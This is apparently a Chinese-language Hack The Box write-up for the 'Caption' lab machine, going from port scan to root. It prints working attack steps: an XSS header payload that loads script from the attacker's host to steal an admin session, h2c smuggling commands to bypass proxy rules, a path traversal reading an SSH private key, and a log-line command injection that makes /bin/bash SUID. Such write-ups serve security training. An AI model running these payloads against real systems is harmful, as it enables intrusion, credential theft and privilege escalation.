Caption(HTB Hard)

基本信息

  • IP:10.10.11.33
  • VPN:10.10.16.4
  • 域名:caption.htb

信息收集

vim /etc/hosts
10.10.11.33    caption.htb
nmap -sT --min-rate 10000 -p- 10.10.11.33 --unprivileged
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy
nmap -sT -sV -sC -O -p 22,80,8080 10.10.11.33
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http-proxy HAProxy http proxy 2.0.0 or later
|_http-title: Caption Portal Login
|_http-server-header: Werkzeug/3.0.1 Python/3.10.12
8080/tcp open  http       Jetty
|_http-title: GitBucket

80 是登录页,8080 是 GitBucket。

User

登录页弱口令爆破失败。GitBucket 有两个提交:首页相关仓库和日志服务器。审计 server.go,第 42、43 行有 bash 调用。相关框架:掘金笔记。

在第一个提交的第二个分支找到 margo 密码 vFr&cS2#0!,登录成功。登录后 /downloads、/firewalls 都带 X-Forwarded-Host,可做反射 XSS。

python3 -m http.server 8000

构造请求:

GET /firewalls HTTP/1.1
Host: caption.htb
X-Forwarded-Host: 127.0.0.1"> </script> <script src="http://10.10.16.4:8000/test.js"></script> <!--
Cookie: JSESSIONID=node01d6pa7jxlyafk1jndh3n5hv1f138.node0; session=<margo_jwt>
Connection: close

服务器日志出现 404。代理 ACL 挡了 /logs 和 /download,需要 h2c smuggling 绕过。参考:Bishop Fox H2C Smuggling。

python h2csmuggler.py -x http://caption.htb http://caption.htb/logs -H 'Cookie: JSESSIONID=...; session=<margo_jwt>'

HAProxy ACL 挡住 /logs、/download。h2c smuggling(HTTP/2 cleartext 升级)可以在代理之后把请求打到后端 Flask。反射 XSS 打在 X-Forwarded-Host / utm_source 一类缓存键上,管理员周期性访问被缓存页面后可偷到 admin session。拿到 admin cookie 后再走 h2c:

python h2csmuggler.py -x http://caption.htb http://caption.htb/logs -H 'Cookie: session=<admin_jwt>'
python h2csmuggler.py -x http://caption.htb 'http://caption.htb/download?url=http://127.0.0.1:3923/' -H 'Cookie: session=<admin_jwt>'

/download 把内网 copyparty(3923)当文件服务。copyparty 存在路径穿越 CVE-2023-37474,.cpr/ 可读任意文件:

python h2csmuggler.py -x http://caption.htb \
  'http://caption.htb/download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa' \
  -H 'Cookie: session=<admin_jwt>'

私钥存成本地文件后 SSH:

chmod 600 id_ecdsa
ssh -i id_ecdsa [email protected]

user.txt 在 /home/margo。

Root

GitBucket 里的 Logservice(server.go)用 Apache Thrift 提供 ReadLogFile,以 root 跑在 9090。解析 User-Agent 时存在命令注入。

ssh -i id_ecdsa -L 9090:127.0.0.1:9090 [email protected] -N -f
echo '127.0.0.1 "user-agent":"'"'"'; chmod +s /bin/bash #' > /tmp/malicious.log

用 log_service.thrift 生成 Python 客户端,调用 ReadLogFile("/tmp/malicious.log")。成功后:

ls -l /bin/bash
/bin/bash -p

至此拿到 root。